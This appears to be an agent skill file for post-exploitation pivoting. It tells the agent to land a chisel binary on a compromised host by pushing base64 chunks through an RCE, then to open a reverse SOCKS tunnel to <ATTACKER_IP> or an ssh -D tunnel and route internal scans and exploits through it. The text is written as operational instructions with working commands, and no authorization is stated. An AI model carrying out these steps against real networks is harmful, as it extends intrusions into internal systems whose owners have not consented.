svc-pivoting

Pivoting — reliable SOCKS + persistent shell

When this fires

You have code-exec on a host that can reach an internal segment your attacker box cannot (dual-homed edge host, DMZ box). STOP routing volume through the stateless RCE — its output truncates and one wave of concurrent requests can kill it. Stand up a persistent tunnel FIRST, register it, then route all internal scans/exploits through it. Use tunnel_manage action:plan to generate the filled-in recipe; this skill is the methodology + the fallbacks.

Decide the tunnel type

• ssh -D (dynamic SOCKS) — you have SSH creds/key on the foothold. Simplest, no binary to land. First choice when SSH works.
• chisel reverse SOCKS — no SSH, but you can exec + reach your attacker IP outbound. Land one static binary, get a full SOCKS5. Default for a web/RCE foothold.
• ligolo-ng — you need a full route (not just SOCKS) or nested/multi-hop pivots. Route-based (tun iface), cleanest for deep internal work.
• Reverse shell alone is NOT a pivot — it gives exec, not network reach. Convert to one of the above for internal scanning.

Land the binary through a constrained RCE (the make-or-break)

An egress-restricted / curl-less foothold whose RCE truncates output CANNOT wget chisel. Stage it base64-chunked:

# attacker: fetch static binary (match arch), chunk it single-line-safe
curl -fsSL https://github.com/jpillora/chisel/releases/latest/download/chisel_<ver>_linux_amd64.gz | gunzip > chisel
split -b 2000 <(base64 -w0 chisel) /tmp/ch_
# push each chunk THROUGH the RCE (append; order matters), then reassemble on target:
for f in /tmp/ch_*; do <RCE> "echo -n $(cat "$f") >> /tmp/chisel.b64"; done
<RCE> "base64 -d /tmp/chisel.b64 > /tmp/chisel && chmod +x /tmp/chisel && /tmp/chisel --version"
# node-only foothold (no base64/coreutils): Buffer.from(fs.readFileSync('/tmp/chisel.b64','utf8'),'base64')

Stand it up

# chisel reverse SOCKS — attacker side:
chisel server --reverse --port 8000 --socks5
# foothold side (after staging):
/tmp/chisel client <ATTACKER_IP>:8000 R:9050:socks &
# ssh dynamic SOCKS (if you have creds):
sshpass -p '<pw>' ssh -D 9050 <user>@<foothold> -N -f      # or -i key